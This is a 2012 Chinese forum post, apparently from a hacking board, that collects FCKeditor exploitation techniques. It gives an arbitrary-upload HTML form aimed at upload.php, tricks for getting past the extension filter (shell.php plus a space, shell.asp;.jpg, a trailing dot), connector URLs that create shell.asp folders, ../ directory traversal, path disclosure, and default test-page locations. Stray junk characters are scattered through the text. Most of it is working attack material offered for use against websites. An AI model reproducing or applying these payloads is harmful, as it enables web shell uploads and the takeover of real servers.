|
Fckeditor漏洞利用总结 查看编辑器版本) R( ]) v, \$ g0 ]' d
FCKeditor/_whatsnew.html
. [( Q5 w: w7 h. h5 ]) k3 Z$ @————————————————————————————————————————————————————————————— 2. Version 2.2 版本$ L# b- D, j0 X! W) s2 W
Apache+linux 环境下在上传文件后面加个.突破！测试通过。4 d) O6 p1 ]: m* _ t
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。, X5 \$ {6 E" [9 G% W/ |
<form id="frmUpload" enctype="multipart/form-data"# f8 }. z2 \! Y; f( l4 Y) S
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>$ R Z0 @3 D9 _( r
<input type="file" name="NewFile" size="50"><br>2 U8 q2 j0 m& o1 n/ ~
<input id="btnUpload" type="submit" value="Upload">) o3 r: J; e$ R5 g4 I# r
</form>
2 R! f' n0 ?4 |; _* E————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
8 K3 s/ H3 l x f; I% D: Z1 M: w 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
5 D, t6 `# ~+ ]+ q4 ~ 4.1：提交shell.php+空格绕过
9 i) v: K5 L x; ]' v1 Z不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
1 j, U6 m1 k; `- ]- B- ] X 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。2 M* C+ ]( e5 O% j) ?1 E1 g# u
————————————————————————————————————————————————————————————— 5. 突破建立文件夹. }: e2 r8 u* a3 R
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756842 r& G: K d1 P5 J3 L0 c4 n
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
( @ M: k$ ^% W; O————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址, e/ X. h, R$ e- T5 ^6 N7 J/ P/ R
FCKeditor/editor/filemanager/browser/default/connectors/test.html
! w- o2 V8 { K- y" S; o0 N, nFCKeditor/editor/filemanager/upload/test.html
% k. [6 Q( J' B; {+ a, s- iFCKeditor/editor/filemanager/connectors/test.html
3 D1 }7 E5 c/ H) W. u" YFCKeditor/editor/filemanager/connectors/uploadtest.html
1 t2 U5 V8 C9 S—————————————————————————————————————————————————————————————
2 ]4 _, Z( F1 k! b 7.常用上传地址
1 a% h( U* u( |2 {5 r% IFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' Z! x' V$ s& l* d- oFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
+ X! _7 _" L0 ]* B4 k! \% T0 z7 EFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
. _* b" j/ G7 {. O+ r/ FJSP 版：) s" Z% j4 M4 Y4 b+ ^3 e
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
1 a" C! X1 r7 C' s! b注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文- A" i/ x. R8 l" G: O5 \4 ?
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。1 T2 z# s6 s- V% a
————————————————————————————————————————————————————————————— 8.其他上传地址) C4 `8 j9 g+ A3 u/ e* f8 `
FCKeditor/_samples/default.html
. r: R2 W& Y6 LFCKeditor/_samples/asp/sample01.asp5 f, j5 g1 \' ~$ ^
FCKeditor/_samples/asp/sample02.asp1 ? \) z* m! ~5 ^" K
FCKeditor/_samples/asp/sample03.asp5 j, f/ Q7 v) {! b
FCKeditor/_samples/asp/sample04.asp; J2 X' e; Z3 d
一般很多站点都已删除_samples 目录，可以试试。
+ K6 k. w! o1 {, lFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。0 c3 N$ d. E: |6 X" `1 b
————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址
2 n+ Y$ e$ c% z' J, DVersion 2.4.1 测试通过! E& g _1 Q# Y% e* O6 K- {, p
修改CurrentFolder 参数使用 ../../来进入不同的目录
# w. L7 \6 j& B( d7 z0 V& {/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp5 j9 ?3 B8 t- ~" V; V3 C
根据返回的XML 信息可以查看网站所有的目录。
8 K6 i' [, o) t; ]0 [/ Y0 fFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
8 m. T: S6 r: o$ [1 b- d也可以直接浏览盘符：
; U: X6 ?' \' q6 n5 H! s, uJSP 版本：
9 p% X$ d1 g; ? w+ lFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F) P2 c6 _3 ~0 {0 {8 R
————————————————————————————————————————————————————————————— 10.爆路径漏洞% M9 ^$ I4 R* c& s
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
5 c N2 L/ r$ D2 d1 H& v4 Y. w0 I————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题. R$ N1 i: F3 E. o: e I! _
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
: b c! d- d) G" m6 x, t脆弱描述：. G& N+ u: _. F. u
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：8 ?/ H+ g6 Q" |
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
, ~ ~- |; o+ uFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
* N6 s; Y, k: L, w+ R, ^5 q 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
$ h7 p. F5 m9 C4 W0 s- ] 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! | 
发表于 2012-9-5 20:23:31
收藏
支持
反对